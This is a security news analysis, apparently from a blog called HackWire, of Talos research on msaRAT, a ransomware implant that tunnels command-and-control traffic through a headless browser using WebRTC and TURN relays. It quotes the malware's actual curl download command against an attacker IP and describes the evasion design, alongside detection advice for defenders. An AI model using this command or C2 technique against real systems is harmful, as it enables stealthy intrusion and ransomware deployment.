# Your Browser Just Became a Ransomware Relay
The Chaos ransomware group's latest implant doesn't open a single outbound connection of its own. It doesn't need to. It starts Chrome in the background, invisible, and lets the browser do the talking.
That's the architecture Cisco Talos documented Thursday in msaRAT, a Rust-based pre-encryptor implant recovered from a compromised Windows host. The piece that makes msaRAT worth studying isn't just the evasion — it's the specific combination of techniques, and the fact that a major ransomware operation deployed it against a real target before anyone published the detection logic.
## The Browser as a Weapon Against Itself
msaRAT's C2 channel works like this: the implant talks only to 127.0.0.1. It launches Chrome or Edge in headless mode using --headless=new, opens a remote debugging port via CDP — the Chrome DevTools Protocol, the same API developers use to automate browser testing — and injects JavaScript directly into a new tab. That JavaScript does the heavy lifting: it fetches STUN/TURN configuration from a Cloudflare Worker, disguising its requests with Origin and Referer headers made to look like they're coming from Microsoft's infrastructure, then builds a WebRTC peer connection. The answer comes back with the connection address zeroed out, forcing everything through Twilio's global TURN relay.
End result: a defender watching the wire sees a browser making calls to Cloudflare and Twilio. Both are ubiquitous. Both are on nearly every corporate allowlist. The attacker's server address never appears in any network log.
The traffic gets encrypted twice — once by the browser's own DTLS layer, and again by a ChaCha-Poly1305 scheme seeded via an ECDH handshake that kicks off immediately after the data channel opens. Commands go to cmd.exe. Responses flow back through the same relay.
## A Technique That Was Already in the Wild
Neither WebRTC-based C2 nor TURN relay abuse is brand new. Praetorian published research in August 2025 demonstrating that conferencing platforms' TURN infrastructure could carry full C2 traffic. Sansec caught a payment skimmer in March 2026 moving stolen card data over WebRTC data channels to evade HTTP inspection. What msaRAT does is combine both inside a pre-ransomware implant — operational, not theoretical, wielded by a financially motivated group with a documented history of successful attacks.
One detail worth catching: Google changed Chrome's behavior in version 136, announced in March 2025 after infostealers began abusing the --remote-debugging-port flag to steal cookies from users' default profiles. The change prevents the debugging switch from working against the default profile. msaRAT sidesteps this cleanly — it supplies its own --user-data-dir and never touches the victim's browser profile at all. The operators either read the Chrome release notes or tested against a hardened machine before deployment. Neither possibility is reassuring.
The binary stores the injected JavaScript in plaintext in the .rdata section, which handed Talos its naming opportunity: four of the five CDP callback bindings — msaOpen, msaClose, msaError, msaMessage — form the malware's name.
## The Boring Part That Let All of This Happen
Here's the part that deserves equal attention: msaRAT's delivery mechanism is embarrassingly mundane.
curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msiThat's it. A single curl command, pulling an MSI over port 443 using plain HTTP — not HTTPS — from a bare IP address. The MSI impersonates a Windows update using property fields crafted to look legitimate. A custom action fires at the end of installation to drop and execute the implant.
Firewall rules scoped to port numbers rather than protocol inspection let this through without complaint. The Chaos group's broader playbook — spam floods, vishing campaigns, abuse of Quick Assist and RMM tools — doesn't require sophisticated access. They get a foothold through social engineering or commodity access, drop msaRAT to establish a C2 channel that survives network monitoring, then run the encryptor.
The sophisticated evasion at the C2 layer is protecting a relatively low-sophistication intrusion chain. That's a deliberate operational choice, not an accident.
## What Defenders Are Actually Watching For
The honest answer is that this is genuinely difficult to catch after the channel is established. "Browser calls Cloudflare and Twilio" is not an anomaly worth alerting on in most environments. But several detection windows exist before msaRAT reaches that point.
Process ancestry matters. Chrome or Edge spawned by an MSI installer custom action, or by a process with no visible user interaction, is a concrete behavioral indicator. Browser processes that open remote debugging ports are not normal in production environments. Headless browser activity without a corresponding user session is worth flagging.
The .rdata JavaScript is a static artifact. The injected script is sitting in the binary in plaintext, which means YARA coverage is achievable the moment Talos releases indicators. Organizations running endpoint tooling that scans process memory or dropped files have a window here.
Network-level signals aren't useless. WebRTC traffic establishing through TURN relays during or immediately after software installation is unusual. DNS queries to *.workers.dev from a host that just ran an MSI with no corresponding user-initiated action are worth reviewing. Neither is a high-confidence alert alone, but correlation is available.
The delivery vector is the real gap. Curl pulling an unsigned MSI from a bare IP over plain HTTP on port 443 should be a high-confidence detection. Organizations with strict application allowlisting or download monitoring catch this before msaRAT runs a single line.
---
## HackWire Analysis
The security industry has spent years hardening HTTP-based C2 detection — DGA pattern matching, JA3/JA4 fingerprinting, domain reputation scoring, certificate analysis. msaRAT is a direct response to that maturation, and it points toward where the next generation of evasion is heading: legitimate process abuse at the application layer, where the network is telling you the truth and the truth happens to look like enterprise software.
This isn't entirely new territory. Living-off-the-land techniques have dominated endpoint evasion for years. But browser-as-relay using WebRTC through commercial TURN infrastructure is a meaningful escalation — it's harder to block because blocking it means disrupting Teams, Zoom, and every other WebRTC-dependent application in the environment. Twilio's TURN service processes billions of legitimate connections. You can't null-route it.
What's notable about this particular deployment is the operational context: msaRAT arrives before the encryptor, which means the group values persistent, low-visibility access during the reconnaissance and staging phase. They're not running a smash-and-grab. They need time inside, and they built infrastructure to protect that time.
The detection burden this creates falls disproportionately on organizations without robust process behavior monitoring — which describes most environments outside the enterprise segment. Mid-market targets, which Chaos has historically pursued, typically have network-level controls and endpoint AV, but not the behavioral analytics needed to catch a headless browser spawned by an installer custom action at 3 AM.
The research Praetorian and Sansec published in 2025-2026 showed this was technically feasible. msaRAT shows it's being operationalized. Expect imitation within the next six months, and expect the JavaScript payloads to start getting obfuscated once defenders start writing static rules against the current variant.
— HackWire Editorial
---
## Related Coverage